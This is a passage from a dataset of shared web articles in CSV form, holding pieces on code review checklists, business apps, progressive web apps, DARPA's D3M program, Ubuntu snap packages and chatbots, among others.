and run prior to delivering code, which will flag violations as errors or warnings. Get static analysis tools that run on the build machine and fail the build for violations. Don't build a list to help you nag developers about not following conventions - make it impossible for them not to follow the conventions so you can focus code reviews on the more conceptual elements of programming. Not only does this introduce an operational efficiency, but it also has a subtly morale-boosting effect on the whole peer review process. Imagine pouring your heart into writing a letter to someone and the recipient saying, ""Looks like you've got a typo on line 12."" You're looking for meaningful, qualitative feedback on your writing, and they're nitpicking over things that a spelling and grammar check could handle. Let the static checker handle it, and have a more meaningful discussion once your code is being reviewed by another. Instead of feeling like every submission will lead to an onslaught of nitpicky sharpshooting, your colleague will feel that they're having professional discussions about their craft. That morale boost is empowering, and it leads to an increased sense of professionalism in the approach to software development. ""We trust you to handle your business with code formatting"" sends a much better message than, ""Let's see here, did you remember to prepend all of your fields with an underscore?"" The former inspires upfront due diligence while the latter inspires learned helplessness . Due diligence is important because there should really be two code review checklists: things the reviewee should do prior to submitting for review and things the reviewer should check. The lists I'm suggesting here cannot possibly be comprehensive (particularly without specification of tech stack or even whether we're talking about functional, structured or OOP languages), but they should give you a sample of the philosophy at play. Code Review for the Important Stuff First, here is an example checklist for a code author. The reviewer should assume that the following are true, and the author should consider it a matter of professional pride to ensure that they are true. This list should be pretty short if you're doing a good job of baking as many rules as possible into automated, static analysis checks. The more developers can verify automatically, the better. Does my code compile without errors and run without exceptions in happy path conditions? Have I checked this code to see if it triggers compiler or static analysis warnings? Have I covered this code with appropriate tests, and are those tests currently green? Have I run our performance/load/smoke tests to make sure nothing I've introduced is a performance killer? Have I run our suite of security tests/checks to make sure I'm not opening vulnerabilities? Here is an example checklist for a code reviewer. Note that none of these are things easily addressed by an automated check because the reviewer assumes that the code author has done her due diligence in completing the above checklist. Does this code read like prose? Do the methods do what the name of the method claims that they'll do? Same for classes? Can I get an understanding of the desired behavior just by doing quick scans through unit and acceptance tests? Does the understanding of the desired behavior match the requirements/stories for this work? Is this code introducing any new dependencies between classes/components/modules and, if so, is it necessary to do that? Is this code idiomatic, taking full advantage of the language, frameworks, and tools that we use? Is anything here a re-implementation of existing functionality the developer may not be aware of? As you can see here, the code author assumes a great deal of responsibility for writing well-crafted code. The reviewer is looking for possible cracks in the facade. This allows the two of them to team up on fixes. It's also very important that the lists remain relatively brief so that the reviews don't turn into mind-numbing procedures. You can always modify the checklist and add new things as they come up, but be sure to cull things that are solved problems as your team grows. No matter how hard you try, it's not going to be perfect. The aim is to catch what mistakes you can and to get better - not to attempt perfection.",en
1466180583,CONTENT SHARED,4117174730087083056,-108842214936804958,3024548702646988918,,,,HTML,http://blog.usekast.com/posts/kast-business-communication,Revolutionize business communication with Kast,"This week we are excited to announce the launch of Kast, a video-centric communication solution for your business. Kast is an interactive app that encourages rapid, spontaneous mobile communication through easily digested video and audio content. Most importantly, Kast allows information to flow freely within your company from the CEO to the interns, breaking down hierarchical barriers, and improving collaboration amongst co-workers. Are you tired of typing information, sifting through hundreds of internal emails, and chasing long overdue responses? Do you want rapid communication, to keep everyone up to date in real time, and more effective collaboration between co-workers? I'm going to explain how you can accelerate key decisions in your company, boost employee collaboration and increase productivity. All with one simple app. Specifically designed for the fast-paced digital workforce today, Kast is a communication tool made by and for people who understand that communication is one of the most important factors in business success. Kast enables employees to spontaneously share audio or video content, encouraging fast, real time communication amongst co-workers. With the ability to share to work groups or profiles, employees can quickly send and receive relevant info through their mobile device, allowing the entire team to be aware of changes on a real time basis. All content is categorized into groups by simple hashtags such as #marketing #sales #product. But hey, there are already lots of ways to communicate, right? What makes Kast different? Kast is mobile first, meaning less time computer bound, crafting emails, or being distracted by social media, and more time receiving and sending relevant information via phone. Kast is audio and video-centric, encouraging a much more rapid form of communication and a growing trend in many workplaces. But Kast is so much more than a communication app. Accelerate key decisions with Kast You and your co-workers will be on the same page, at the same time. Faster. Simpler. More succinct. A large portion of a work day is spent dealing with internal emails and non-friendly internal tools. Kast is a tool that strips away unnecessary time spent chained to a keyboard. It removes distraction from attempting to use unrelated social media for daily work, while injecting relevant, up to date information. The result? An increase in productivity. Employees spend less time wasting their work day and more time making decisions, actively engaging in work that benefits the company. The best part? All content shared through Kast is completely secure. With Kast, the security of your information is of utmost importance. Content can be monitored and everything is contained within the app. Nothing can be copied from Kast onto another platform for distribution. This really differentiates Kast from other social apps where content can be saved on personal phones and redistributed at will, meaning you lose control of your own information. Kast will boost team collaboration A staggering 78% of companies see communication as the main factor in project failure. Picture the following scenario. You have a large team of employees currently working on a software integration project. Different areas of the company are involved. IT. Operations. Sales. Legal. Design. It's hard to find a meeting time to suit everyone, much less on a daily basis. As the deadline approaches, it becomes apparent the team hasn't been collaborating effectively. A loss of information between IT and Design is holding up Sales. You're still waiting on an email from Legal. And Tim from Operations hasn't been seen for two days. You need a platform of communication that is fast, easy, and allows co-workers who don't usually cross paths to stay informed on collaborative projects. With content notifications through a simple app on your phone, quick audio or video updates, and the ability to categorize posts, everyone from IT to Operations can see real time updates, changes, and even spontaneous thoughts about a collaborative project. With Kast in the workplace, communication just took a big step in the right direction. Not a big corporation? Regardless of whether you're a team of three or three hundred, effective communication is a key component of any successful business. Kast is an easy to use, completely secure way of collaborating with your team. Broadcast yourself. Hear and be heard. Let Kast change social interaction and team collaboration in your work place. Start using Kast now! Download it for free in iOS and Android versions. Do you find yourself looking for better and faster ways to communicate with your team? Do you think Kast could help in your workplace?",en
1466182038,CONTENT SHARED,5308984234271987921,3609194402293569455,3877440953115585338,,,,HTML,http://www.inc.com/jessica-stillman/8-unexpected-signs-you-re-smarter-than-average.html,8 Unexpected Signs You're Smarter Than Average,"How can you spot a particularly smart person ? Forget looking for a glasses-sporting, goodie-two-shoes with a neat desk and an elevated speaking style. What intelligence looks like in the real world and what it looks like in stereotypes are two totally different things. When recent research has gone looking for correlations between high IQ or exceptional creativity and everyday characteristics, it has found surprising links that run in the face of our preconceptions, including these. 1. Your desk is a mess. Got a towering stack of papers and six coffee mugs cluttering your desk? Don't let the haters tell you that the mess means you're lazy and unproductive. In fact, it could be a sign of your exceptional creativity . One study, for instance, found volunteers came up with more creative uses for a Ping Pong ball when they were working in a chaotic space rather than in a clean one. ""Disorderly environments seem to inspire breaking free of tradition, which can produce fresh insights,"" study author psychologist Kathleen Vohs commented . ""Orderly environments, in contrast, encourage convention and playing it safe."" 2. You swear like a sailor. Your potty mouth might have annoyed your mom to no end, but little did she know all that swearing was actually a sign of verbal skill. ""A pair of psychologists from two U.S. colleges conducted an experiment to see if knowing a variety of curse words meant you knew few proper words ,"" says a piece in The Huffington Post. The conclusion? ""Contrary to popular belief, those who were well-versed in swear words also had a more expansive vocabulary and a better grasp on language."" 3. You sleep in. We're constantly told that the early bird gets the worm, but if that's true, it's not because early risers are smarter. ""Evidence has now been published that people who are more intelligent tend to go to bed later and get up later,"" claims PsyBlog . ""The study examined the sleep habits of 20,745 adolescent Americans and found that on a weekday the 'very dull' went to bed at an average of 11:41 and woke up at 7:20. In contrast, the 'very bright' went to bed at 12:29 and got up at 7:52. At the weekend the differences were even more pronounced,"" explains the post. 4. You're a little anxious. Have you ever heard of the Dunning-Kruger effect ? It states that the incompetent are blissfully unaware of their shortcomings, while the best performers are most worried about their skills. Apparently, research shows that worry and smarts go together more generally too. ""If you worry a lot, fear not--your anxiety just might be a sign of high intelligence,"" reports Slate . ""The idea has been around for a while: The adage that ignorance is bliss suggests the reverse, that knowledge involves anguish. Now it's starting to get some scientific validation."" The article digs into the (sometimes contradictory) research on the subject before concluding, ""Nobody is making a case for raging paranoia, but at a pinch, above-average unease just might be something to brag about."" 5. You like a drink. ""Drawing on the results of the National Child Development Study, which tracked for 50 years all British babies born during one week in March 1958, [evolutionary psychologist Satoshi] Kanazawa found that kids who scored higher on IQ tests grew up to drink larger quantities of alcohol on a more regular basis than their less intelligent peers,"" reports New Republic . Other studies apparently back up the correlation. 6. You drink wine, particularly. ""A study that compared 1,800 Danish men's IQ scores to their drinking habits from the 1950s through 1990s found a strong correlation between high IQ in young adulthood and preference for wine over beer later in life, regardless of socioeconomic status,"" notes the same article. (I'm planning on popping the cork on a nice bottle to celebrate, personally.) 7. You experimented with drugs when young. Like it or not, experiences with mind-altering substances have been found to correlate with higher intelligence. ""More intelligent children in the United Kingdom are more likely to grow up to consume psychoactive drugs than less intelligent children,"" Business Insider notes , quoting one British study on the subject. Similar American studies have come to the same conclusion. 8. You're blond. Forget the old stereotype (and lots and lots of old jokes): A study of nearly 10,000 Americans found that natural blonds actually have IQs slightly higher than their darker haired compatriots. The bad news? The difference was too small to be statistically significant. ""I don't think you can say with certainty that blondes are smarter than others, but you can definitely say they are not any dumber,"" commented Ohio State's Jay Zagorsky , who authored the study. But given past beliefs about blonds, ""no worse and maybe a little better"" is a big improvement.",en
1466187150,CONTENT SHARED,-447851796385928420,1895326251577378793,-4339659529018274221,,,,HTML,http://www.mobiletime.com.br/17/06/2016/flyhelo-app-permite-compartilhamento-de-jatos-e-helicopteros-em-sao-paulo/442262/news.aspx,MOBILE TIME - FlyHelo: app permite compartilhamento de jatos e helicópteros em São Paulo,"FlyHelo: app permite compartilhamento de jatos e helicópteros em São Paulo O conceito de economia compartilhada chegou à classe alta. Nasceu este ano em São Paulo a FlyHelo, empresa que propõe o compartilhamento de voos de helicóptero e de jato, conceito conhecido como ""coflying"", e que já faz sucesso na Europa e nos EUA. Através de um app ( Android , iOS ), o passageiro pode criar um voo e disponibilizar assentos para que outras pessoas dividam o custo da viagem com ele, ou comprar um assento em um voo já planejado. O pagamento é feito in-app, via cartão de crédito. ""Nosso público-alvo são executivos de 25 a 55 anos que trabalham muito e para quem tempo é dinheiro. São pessoas que não querem gastar cinco ou seis horas para chegar em Ilhabela para passar o fim de semana. De helicóptero demora apenas 30 minutos. E com a venda de assentos fica muito mais atrativo. Queremos conquistar um público desse segmento que nunca voou de helicóptero ou jato"", explica o CEO da FlyHelo, Hadrien Royal. O executivo relata que a maior parte da demanda se concentra nos finais de semana. Os passageiros costumam viajar na sexta no fim do dia ou sábado de manhã, e retornam no domingo à tarde ou segunda de manhã. Os destinos mais comuns partindo de São Paulo são Juqueí, Ilhabela, Angra dos Reis e Campos do Jordão. A criação de um voo pode ser feita pelo app com até duas horas de antecedência. ""Para trechos de curta distância ou para onde não há aeroporto, usamos helicópteros. Quando for acima de 400 Km, recomendamos jatos"", diz Royal. A FlyHelo não tem uma frota própria, mas parcerias com empresas de táxi aéreo com as quais provê opções de voos a partir de Congonhas e do Campo de Marte, no caso dos jatos, ou de vários pontos da capital paulista, no caso de helicópteros. O serviço começa agora a ser testado também no Rio de Janeiro, onde vai operar a partir do Santos Dumont e do aeroporto de Jacarepaguá. A FlyHelo trabalha apenas com empresas homologadas pela Anac, informa o executivo. A criação de um voo São Paulo-Juqueí custa R$ 4.990. E um assento para esse mesmo trecho, R$ 1.490. Dependendo do modelo, o helicóptero pode ter de três a seis lugares. Os jatos, de quatro a sete assentos. O serviço está disponível há um mês. Mais de 50 voos já foram realizados. A meta é chegar a mais de 500 voos mensais após 12 meses de operação.",pt
1466193954,CONTENT SHARED,-324861070284719256,-1616903969205976623,5501403718256995283,,,,HTML,https://www.sitepoint.com/best-slack-communities/,12 Best Slack Communities for Every Professional,"If your company isn't using Slack, chances are, the company next door is. In February, the team communication tool had 500,000-plus daily users-making it the fastest-growing business app ever . But Slack isn't just dominating the cubicle. Recently, people have been using the platform to found and maintain ""digital communities: "" forums for collaborating and connecting with like-minded professionals. There are tons of benefits to joining these virtual support networks. First, you can solicit advice from people who are intimately familiar with your job, field, or even geographic location. Second, you can meet potential partners, team members, and mentors. Third, you can lessen the feelings of isolation that many entrepreneurs, freelancers, side hustlers, and solo workers experience. Fourth, you can discover and share valuable resources. So, the real question isn't, ""Should I join a Slack community?"" It's, ""Which Slack communities should I join?"" 1. If you're a startup founder... You should join #Startup . More than 2,100 founders around the globe are on #Startup, making it a truly international group. The discussion types range from Q&As and AMAs (""Ask Me Anything"") to traditional conversations. You can solicit feedback on your product, recruit team members, get advice, and more. Application process: Yes Membership fee: Yes 2. If you're a creative person... You should join #Launch . This community is actually much older than Slack itself and has just migrated to the platform. #Launch was founded in 2006 by "" teenagers messing around online, dabbling with web design and development. "" Since then, its members have gone on to become YC founders, owners of VC funded companies, and Thiel Fellows. You can use #Launch to talk design, programming, sales, entrepreneurship, and more. Application process: Yes Membership fee: No 3. If you're a team leader... You should join #People . HR professionals, people operations specialists, organizational psychologists, and managers use #People to, in the organization's words, ""find advice, inspiration, events, get feedback on ideas, take part in Q&A's and AMAs, and get involved in discussions."" There are different sub-groups for compensation, hiring, recruitment, benefits and perks, and training and coaching, so no matter what you're looking for, you've got a good chance of finding it. Application process: Yes Membership fee: No 4. If you're a startups investor... You should join VC Club . It's composed of venture capitalists, angels, startup founders, and advisors. The main topics are fundraising, market trends and opportunities, investment strategy, and deals. Even if you're not looking to put money into any companies at the moment, it's always smart to keep up with what's going on in the funding world. Application process: Yes Membership fee: No 5. If you're a remote worker... You should join Workfrom . Designed for anyone who doesn't work at a traditional office-including digital nomads, freelancers, business travelers, and students-this community comes with a lot of perks. A free membership comes with recommendations for freelancer-friendly work spaces, along with info about their WiFi speeds and real-time seating capacity. For $5 a month, you get access to the chat room, discounts on goods and services, and exclusive features. Application process: No Membership fee: Yes 6. If you're a marketer... You should join #CreativeTribes . There are currently over 300 marketers, entrepreneurs and other creatives in the group, and their main focus is growing their businesses or reach. CreativeTribes definitely has a communal atmosphere. Beyond sharing techniques, resources, and experiences with each other, members are also looking to ""build their tribes."" If you're looking for team members or trying to expand your following, this is a great Slack community to join. Application process: Yes Membership fee: No 7. If you're a software programmer... You should join #CodeNewbie . This Slack chat is actually an extension of CodeNewbie's thriving online community and gives you the opportunity to chat with other beginning developers, get help on tough problems, discuss software updates and news, and just hang out with people who are as obsessed with coding as you. Application process: Yes Membership fee: No 8. If you're a freelancer... You should join #Freelance . Being your own boss can be lonely-plus, it's hard to find others who understand the unique challenges and rewards of freelancing. This organization will give you your own dose of water-cooler talk. However, even if you're completely uninterested in socializing with other contractors, #Freelance has a lot to offer. Discover how others have found clients, ask for advice, get leads, pair up with other freelancers, and trade services. Application process: Yes Membership fee: Yes 9. If you're a UX designer or researcher... You should join Designer Hangout . It's not for amateurs, however: The ""About"" page warns wannabe members that if you don't know what UX is, you're probably in the wrong place. In addition, every member is pre-vetted. The good thing about all these barriers-to-entry? They ensure high-quality discussions, debates, and resources. Plus, spammers and recruiters are virtually nonexistent. Application process: Yes Membership fee: No 10. If you're a bootstrapper... You should join Bootstrapped Chat . No one ever said bootstrapping was easy. In this forum, you can commiserate about the difficulties, rejoice about the successes, learn from what other people are doing, and see what your fellow bootstrappers are up to. Application process: No Membership fee: No 11. If you're an Internet marketer... You should join Online Geniuses . The great thing about this association is that professionals from every niche are represented: social media marketing, SEO, PPC (pay-per-click), CRO (conversion rate optimization), and so on. That means no matter what online marketing question you have, there are members uniquely qualified to answer it. The number of companies represented is also impressive. Online Geniuses come from Facebook, GrubHub, Best Buy, Amazon, Macy's, and Google, just to name a few. Application process: Yes Membership fee: No 12. If you're a maker... You should join Maker Hunt . This community is populated by passionate and driven people responsible for some of the most popular products of the last couple years. Past AMA guests have included Anthony Thomas, founder of StickerMule, Michael Seibel, a Y-Combinator partner, and Dylan La Com, product manager of Product Hunt. Application process: Yes Membership fee: No Are there any Slack groups we missed that you love? Tell us in the comments below.",en
1466206326,CONTENT SHARED,-5204755921272353160,-8020832670974472349,-4464588946641842094,,,,HTML,https://medium.com/web-on-the-edge/progressive-web-apps-on-windows-8d8eb68d524e,The Progress of Web Apps - On the Edge,"The Progress of Web Apps Let's talk about the progress of web apps. No, that's not an autocorrect mistake from ""progressive web apps"" - I want to take a look at how the web has progressed from "" a large universe of documents "" to a universal application platform. Since I work for Microsoft, I'm going to focus on what this looks like for our platform and customers on Windows. I'm penning this on Medium (as opposed to the MSEdgeDev blog ) because what lies further is a mixture of my own personal thoughts, the trending consensus on the Microsoft Edge team, and our actual product roadmap for web apps on Windows. There's no single point at which the web started running apps rather than simple documents - you could argue JavaScript was the first step, or maybe AJAX via XMLHttpRequest, or perhaps you're in the camp that doesn't consider it an app unless it works offline and has a manifest with display: standalone/fullscreen . The fact that you can't point to a single moment is entirely by design. It's a symptom of progressive enhancement at its finest. Don't-call-them-Metro web apps Perhaps the earliest incarnation of web apps on Windows was Pinned Sites , introduced in IE9, where sites could be pinned to the Windows 7 taskbar with custom icons, badges, and menus. At the time, I wouldn't have really considered this part of our web apps story, but in hindsight it was our first endeavor towards "" stickier "" web experiences. Later iterations of the feature even had a manifest-like thing to give the platform a hint that it can run ""like an app"" and provide details on how to integrate into the home screen / Start menu. When an appetite in the W3C came along for a standardized manifest, we were excited to jump in and work on that (and, frankly, to jettison our *shudders* XML format). But things really got going in Windows 8. If you'll look past the absence of the Start button for a moment, there was some amazing groundwork happening to make the web a first-class citizen amongst apps on Windows. It was the first time that the web got a chance to truly run outside of the browser on Windows with no native code needed. At the time, standards for offline support were less than ideal, so packaging up your web content was the way to go (we used an APPX package, a glorified ZIP file, but a similar approach was transpiring via Chrome Apps around that time). Web apps on Windows are built to run independent of the browser in standalone windows. Architecturally, the browser process isn't even involved in running a web app on Windows, which reduces memory/CPU overhead, and each web app even has its own cache. Web Apps are fully integrated into the app model of Windows, giving users the ability to manage notifications, run them in the background or offline, share to them, or even uninstall them using the same UX as any other native app. Because we gave them a level playing field with native apps, developers were itching for the ability to integrate with the platform more deeply. There were native app capabilities that simply weren't there for the standardized web platform at the time, and there were great scenarios for OS integration that weren't likely to ever be standardized. And so, like the chrome.* namespace, the Windows Runtime JS APIs were created. Since then, WinRT has served as an incubation ground for many ideas/learnings that would see their way to influencing standards, such as Pointer Events , Web Notifications , Push API , Web Payments , W eb Authentication , and others. We know the native APIs of the platform sometimes evolve faster than web standards, so WinRT gives early, equal access to these capabilities to web apps. It also provides access to capabilities that might not make sense for standards, like Cortana and Xbox Live integration. Hosted Web Apps Packaging web apps made it fairly straightforward to build offline-first experiences to compete with those of native apps. But, if you're a web developer, going through a Store submission process to make code changes feels arbitrary and limiting. Thus in Windows 10, "" Hosted Web Apps "" were born. All it takes is a simple manifest that pointed to a URL for your web app. HWAs get to run isolated from the browser just like packaged apps, but are live loaded from the server - freeing your updates from lengthy Store submission processes. To many developers, like Yahoo Mail , Shazam , and Pandora , this is a natural solution. Progressive Web Apps The Edge roadmap question du jour is: ""Will Microsoft Edge and Windows support PWAs?"" The answer is straightforward: yes. PWAs are a natural extension to HWAs on Windows 10 as they're essentially HWAs plus a few cool standards that are already in development for: Fetch ( shipping in preview builds today) Service Worker (in development ) Cache API ( in development ) Push API ( in development ) We have a bigger goal than simply lighting up these standards in EdgeHTML though. The existing PWA implementations (Chrome/Opera on Android) still leave web apps as second-class to native apps in many ways. These PWAs can reach out into the OS to get a home screen shortcut, escape the browser tab, and integrate into the app back stack. But they don't appear in the apps list, don't report their storage/data/battery usage, can't run without the resources/overhead of the browser chrome, can't be configured/managed/uninstalled/etc. in the same ways native apps can. We want to fix that - PWAs should be able to progressively enhance to full-fledged apps. PWAs on Windows We're doing two obvious things right now: Implementing the above mentioned standards. Because they're awesome. And because interop is awesome. Building support in the Windows Store for W3C Web App Manifest. Today you can use ManifoldJS to do this, but we see the W3C Web App Manifest as the future for web apps on Windows. The first makes it possible to take your PWA that works on Chrome/Opera for Android and run it on Windows with EdgeHTML. The second makes it possible to list your PWA in the Store and run it outside of a browser tab. Alex Russell recently explored ways to improve PWA discoverability and this mirrors what we've been exploring also (no surprise there, we just hosted the Service Worker W3C F2F meeting at Microsoft and all us browser peeps talk on the regular). Since we (Microsoft) start from the premise that web apps shouldn't be second tier to native apps, the ability to list PWAs in the Windows Store feels natural to us and is the outcome of completing the tasks above. So the two real questions we're still exploring are: How will PWAs get listed in the Store? Today, web apps get listed in the Windows Store manually by creating a Microsoft developer account and submitting your manifest. There are advantages to developer submission as it gives access to selling your web app and also analytics about installs. Like HWAs, once your manifest is submitted and app published, updating your PWA would simply mean deploying to your server as you do with a web site - no additional review process from Microsoft. Like other Windows web apps today, I expect PWAs to be listed in the Store right alongside native apps and not as some other category or second class citizen. Of course, PWAs are born from the web, and the manifest meta tag gives the opportunity to automagically index them and list them in the Store, just like web sites are automatically listed in a search engine. So this is something we're exploring with the Bing team. There are some questions to be answered if we go this route, such as what if developers want to opt out? Can we extend robots.txt to work for this purpose? How do we prevent duplicate apps in the Store (native + PWA)? If you want to manage your app's Store listing with a developer account, how do we link your identity to your PWA? 2. How will users install (keep) PWAs on Windows? With Store listings, there's at least one obvious install path. It's a valuable one too , given the muscle memory consumers have built for installing apps on mobile devices. But if PWAs are also linkable and loadable in the browser, then it's reasonable to make sure you can easily ""keep"" that experience from the browser. There are a few approaches to this (which Alex outlined) - heuristically prompting, ambient badging, or even a button that jumps you into the app's page in the Store (whether that's a PWA or a native app). We're evaluating all of these, but our design will be one rooted in the notion that this is an app , not just a web site shortcut. We'll want to convey that to the user correctly yet minimally to reduce friction. Users should be able to find PWAs wherever they are searching for them - whether they're looking for an app in the Store, searching for a site in a search engine, or clicking a deep link from another web page. The road from here Patrick Kettner and Ali Alabbas from the Edge team will be at the Progressive Web App Dev Summit next week in Amsterdam to talk more about our plans and guidance. Bring your questions and ideas - this is a plan in the making for us. Beyond that, we'll keep a dialog going as our plans firm up on the open issues, and you can expect Microsoft Edge preview builds with early implementations of the related standards throughout the coming year. We're excited to continue to advance the web as an app platform on Windows through standards, interoperability, and progressive enhancement.",en
1466220945,CONTENT SHARED,5302085907556673015,-1032019229384696495,7678165322893628235,,,,HTML,http://www.theverge.com/2016/6/17/11964786/google-lady-cfo-protest-response,Google employees are adding 'Lady' to their job titles to fight sexism,"More than 800 members of Google's staff are standing together in a showing against sexism today by appending a single word to their job titles: ""Lady."" Business Insider has details on the protest , which is happening in response to a ludicrous comment made during Alphabet's shareholder meeting last week, when someone referred to company CFO Ruth Porat as the organization's "" lady CFO ."" The internet immediately exploded in outrage over the sexist remark, and now, one week later, Google's staff has found its own way of responding. According to Business Insider , someone made the title change suggestion to an email group, and it quickly caught on. They launched an internal site to promote the protest, which was planned for this Thursday and Friday. It even got this awesome GIF featuring some of Google's newly proposed emoji : Google In a statement to USA Today , Meg Mason, Google's partner operations manager for shopping - or, for today, its lady partner operations manager for shopping - says of the protest, ""I wanted to do something fun and 'Googley' that allowed us all to stand together, and to show that someone's gender is entirely irrelevant to how they do their job."" Women and men within the company are adopting the lady prefix, making the change over these two days in their email signatures and within Google's internal directory, according to Business Insider . It's a smart and simple response that, like Mason says, effectively conveys just how irrelevant gender is to being able to do your job.",en
1466243849,CONTENT SHARED,-377975173223377441,-1443636648652872475,-8386424773667195212,,,,HTML,http://www.darpa.mil/news-events/2016-06-17,"DARPA Goes ""Meta"" with Machine Learning for Machine Learning","Popular search engines are great at finding answers for point-of-fact questions like the elevation of Mount Everest or current movies running at local theaters. They are not, however, very good at answering what-if or predictive questions-questions that depend on multiple variables, such as ""What influences the stock market?"" or ""What are the major drivers of environmental stability?"" In many cases that shortcoming is not for lack of relevant data. Rather, what's missing are empirical models of complex processes that influence the behavior and impact of those data elements. In a world in which scientists, policymakers and others are awash in data, the inability to construct reliable models that can deliver insights from that raw information has become an acute limitation for planners. To free researchers from the tedium and limits of having to design their own empirical models, DARPA today launched its Data-Driven Discovery of Models (D3M) program. The goal of D3M is to help overcome the data-science expertise gap by enabling non-experts to construct complex empirical models through automation of large parts of the model-creation process. If successful, researchers using D3M tools will effectively have access to an army of ""virtual data scientists."" ""The construction of empirical models today is largely a manual process, requiring data experts to translate stochastic elements, such as weather and traffic, into models that engineers and scientists can then ask questions of,"" said Wade Shen, program manager in DARPA's Information Innovation Office. ""We have an urgent need to develop machine-based modeling for users with no data-science background. We believe it's possible to automate certain aspects of data science, and specifically to have machines learn from prior example how to construct new models."" D3M is being initiated at a time when there is unprecedented availability of data via improved sensing and open sources, and vast opportunities to take advantage of those data streams to speed scientific discovery, deepen intelligence collection, and improve U.S. government logistics and workforce management. Unfortunately, the expertise required to build useful models is in short supply. Some experts project deficits of 140,000 to 190,000 data scientists worldwide in 2016 alone, and increasing shortfalls in coming years. Also, because the process to build empirical models is so manual, their relative sophistication and value is often limited. A recent exercise conducted by researchers from New York University illustrated the problem. The goal was to model traffic flows as a function of time, weather and location for each block in downtown Manhattan, and then use that model to conduct ""what-if"" simulations of various ride-sharing scenarios and project the likely effects of those ride-sharing variants on congestion. The team managed to make the model, but it required about 30 person-months of NYU data scientists' time and more than 60 person-months of preparatory effort to explore, clean and regularize several urban data sets, including statistics about local crime, schools, subway systems, parks, noise, taxis, and restaurants. ""Our ability to understand everything from traffic to the behavior of hostile forces is increasingly possible given the growth in data from sensors and open sources,"" said Shen. ""The hope is that D3M will handle the basics of model development so people can apply their human intelligence to look at data in new ways, and imagine solutions and possibilities that were not obvious or even conceivable before."" Media with inquiries should contact DARPA Public Affairs at outreach@darpa.mil",en
1466244572,CONTENT SHARED,-5179565226573622983,-1443636648652872475,-8386424773667195212,,,,HTML,http://www.theverge.com/circuitbreaker/2016/6/17/11963334/ubuntu-snap-app-packaging-for-linux,App distribution for Linux just got way better,"Ubuntu's ""snap"" package format now works on a bunch of other popular Linux distros, including Arch, Debian, Fedora, and most of the Ubuntu flavors. It's also coming to CentOS, Mint, OpenSUSE, and even OpenWrt, among others. Traditionally, application developers have to create specific versions of their app for each different version of Linux they want to work with, and many distros are left out in the cold, or lag behind on updates, or have to create their own compatible packages. Snap solves this by including the necessary dependencies right within the app, instead of pulling in those dependencies into the underlying OS through a traditional application install process like apt-get. Snap also offers a number of other nice-to-haves, like faster installs, automatic updates, and security rules to confine the app to only certain OS features. You can even subscribe to a specific release channel of a snap, like how you can choose between stable, beta, and ""Canary"" versions of Chrome. There's also an Ubuntu-curated ""snap store"" where you can search through Ubuntu-approved apps, but snaps aren't intrinsically tied to the store. The main tradeoff is package size: because each app brings its own dependencies, they can't all rely on a single popular library, so you end up with a lot of duplicates hidden away in each package. Of course, this is usually a good thing, because it means one install can't update a library to an incompatible version and break the other apps. Obviously, because this is Linux, if you don't like snaps you don't have to use them. There are other similar projects out there with many of the benefits of snap. For instance, the scuba dive - logging software developed by Linus Torvalds, the creator of Linux, is distributed with a package format called AppImage . But Ubuntu's obvious strength in the market and the apparent quality of the snap format seems to have won for now.",en
1466275303,CONTENT SHARED,-1687864471892802710,3217014177234377440,8650227232329484057,,,,VIDEO,http://www.ted.com/talks/bill_gross_the_single_biggest_reason_why_startups_succeed,[Videos] Bill Gross: The single biggest reason why startups succeed,"You have JavaScript disabled Bill Gross has founded a lot of startups, and incubated many others - and he got curious about why some succeeded and others failed. So he gathered data from hundreds of companies, his own and other people's, and ranked each company on five key factors. He found one factor that stands out from the others - and surprised even him. This talk was presented at an official TED conference, and was featured by our editors on the home page. Enthusiastically agree? Respectfully beg to differ? Have your say here.",en
1466275783,CONTENT SHARED,1433393829724383645,-1443636648652872475,-8386424773667195212,,,,HTML,https://www.oreilly.com/ideas/why-2016-is-shaping-up-to-be-the-year-of-the-bot?imm_mid=0e4df7&cmp=em-prog-na-na-newsltr_20160618,Why 2016 is shaping up to be the Year of the Bot,"Daleks. (source: steve p2008 on Flickr ). In March, Microsoft CEO Satya Nadella declared that ""Bots are the new apps."" The year 2016 is shaping up to be ""the Year of the Bot."" This post is a lightly edited adaptation of the ""all about bots"" special edition of the O'Reilly Next:Economy Newsletter from May 13, 2016, written by O'Reilly editor Jon Bruner. For more on the future of the economy, subscribe to the Next:Economy newsletter . A good bot is a marriage of low-friction interface and artificial intelligence. The interface lets a user ask a question, state a fact, or express a wish in text or speech. The AI takes familiar human language, extracts information from it, organizes it, and acts on it. 2016 may become ""the year of the bot."" After a decade of texting and messaging on smartphones, consumers are comfortable with conversational interfaces, and AI has finally progressed to the point where it can offer useful responses to practical queries. Bots promise to inject information, intelligence, and online services into just about any scenario-a key underpinning of the Next Economy that Tim O'Reilly has described . Bots will give workers superpowers, make networks more accessible, reorder user experiences, and build new ecosystems. And they promise developers a faster way into users' pockets as the app economy matures . Bots as the third runtime The hope, writes Benedict Evans , is that chatbots might become the ""third runtime, after the web and native apps."" That is, they are a way for users-especially on mobile platforms-to interact with perfectly customized apps without going through the hassle of installing them. ""Nothing to install, nothing to configure-just flow ,"" writes Chris Messina . The just-announced Ozlo , for example, draws from multiple data sources to answer complex text questions. Meanwhile, the creators of Apple's Siri-disenchanted with Apple's vision for Siri-moved on, building "" Viv ,"" a conversational personal assistant tightly aligned with popular services. When you tell Viv you want to send flowers, make dinner reservations, or order a pizza, she doesn't just pull up a web page for you. Viv does what Dag Kittlaus and Adam Cheyer had hoped Siri would do: she orders flowers, makes dinner reservations, and orders pizza for you-all without you having to open another app. Bots for developers Bots are also more compelling for developers, notes Sam Lessin : easier to distribute, with more emphasis on high-value server-side intelligence than conventional apps. Speaking on the a16z Podcast , Benedict Evans notes that this is especially critical for Facebook and Amazon, which don't have mobile platforms of their own and can't get as deep in the operating system stack as Apple and Google are able to. Why conversational UI matters Properly applied, ""messaging has the potential to be the command line for normal humans,"" writes Sarah Guo , a thought that delights programmers and horrifies UI designers. In any case, bots could represent a fundamental design shift. The first big design revolution in UI was the move to Graphical User Interfaces on PCs and Macs, the second was the web, and the third was mobile. This new shift-to conversational UIs-could be potentially as significant. Combine a conversational UI with reasoning AI, and you have something that could be genuinely disruptive, especially if it's combined with sophisticated voice command like that already available from Apple's Siri, Google's Now, Microsoft's Cortana, and Amazon's Echo. This recent interest has led to what may be a bot bubble-a surge of bots with little AI that are essentially just conversational versions of web forms-or, worse, telephone menu systems (""choose from the following three options...""). Unless bots are designed to do more than replicate existing experiences, the bubble is certain to burst. Will Schenck offers six bot design patterns that range in complexity from mere 